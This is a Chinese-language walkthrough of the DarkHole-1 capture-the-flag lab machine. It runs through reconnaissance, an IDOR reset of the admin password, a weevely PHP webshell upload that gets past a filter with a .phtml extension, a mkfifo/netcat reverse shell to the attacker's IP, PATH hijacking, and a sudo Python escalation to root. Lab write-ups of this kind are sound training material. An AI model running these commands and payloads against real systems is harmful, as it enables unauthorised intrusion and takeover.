虚拟机软件:VirtualBox
攻击机:kali linux(网卡初始为仅主机模式,要有安全意识)
靶机:DarkHole-1(网卡初始为仅主机模式,要有安全意识)
靶机网卡有问题需要提前修改,进入系统前先按shift,
然后按e进入编辑模式,
将ro 至 initrd之前 的内容修改为 rw single init=/bin/bash,
然后按ctrl + x,重新设置password(输入passwd 然后输入想设置的密码),
输入vim /etc/netplan/00-installer-config.yaml,
将其中的ens33修改为enp0s17,
保存后关靶机,
至此 重启靶机 在攻击机中可搜到ip。
输入sudo su
,将kali切换到root权限;
输入ifconfig
查询自身ip,即攻击机ip;
可以看到自身ip为192.168.56.101
。
输入arp-scan -l
扫描本网段存活主机,即靶机ip地址。
可以看到靶机ip为192.168.56.104
,。
输入nmap -sV -p- 192.168.56.04
扫描靶机所有端口开放情况。
可以看到端口22、80
是开放的。
浏览器输入192.168.56.116:80。
命令行输入whatweb 192.168.56.104
查询网站指纹信息。
可以看到没什么关键信息。
输入dirsearch -u http://192.168.56.104
,扫描网站目录。
可以看到没什么结果,我们重新查看网页,看看有什么可以提交参数的地方。
我们在登陆页面可以注册用户名密码,我们注册一个test1用户,密码为1111111。
注册成功,登陆网站。
发现url有个参数id=4,且右边可以改密码,我们burp抓包,然后将id=4改为id=1,
根据朴素的思想,id=1应该是管理员admin的账户,我们这么做,则将admin的密码改为了123456,这是典型的越权。
修改成功,重新登陆,使用admin登陆。
发现右边多了一个上传文件的模块,我们尝试上传PHP木马。
我们这里使用weevely生成PHP木马,输入weevely generate Shell Shell.php
。
将其上传,发现上传失败,
判断是识别php文件,我们burp抓包,将文件后缀名改为phtml。
然后点击Send,上传成功。
可以看到,甚至出来了上传文件路径。
我们weevely链接,输入weevely http://192.168.56.104/upload/Shell.phtml Shell
,连接成功。
/home目录下有一个john用户,进入该目录,发现有一个toto文件。
其余文件都没有权限查看,执行toto,发现执行的是id命令。
故我们可以修改环境变量,使之在执行id命令的时候返回john的bash,我们依次输入:
echo "/bin/bash" > /tmp/id
chmod 777 /tmp/id
export PATH=/tmp:$PATH
./toto
输入后发现权限没有改过来,经检查,发现是weevely的问题,我们将shell反到本地,本地命令行输入nc -lvvp 5555
监听5555端口,靶机输入rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.56.101 5555 >/tmp/f
。
然后重新输入
echo "/bin/bash" > /tmp/id
chmod 777 /tmp/id
export PATH=/tmp:$PATH
./toto
成功切换到john用户,也成功看到了这一阶段的flag,和john的密码。
可能是shell太脆弱了,sudo命令不能用,我们使用ssh登陆。
重新输入sudo -l,然后要求输入密码root123,查看到了我们想要的,发现file.py文件可以以root权限执行。
我们在该文件中写入返回root权限shell的代码,依次输入。
echo 'import pty;pty.spawn("/bin/bash")' > file.py
sudo python3 /home/john/file.py
提权成功,在/root目录下获得了最终flag。
至此,渗透结束。
本次渗透测试总体来讲比较简单的,都是以往渗透遇到的经典操作,注意一下越权操作及文件包含漏洞的原理即可。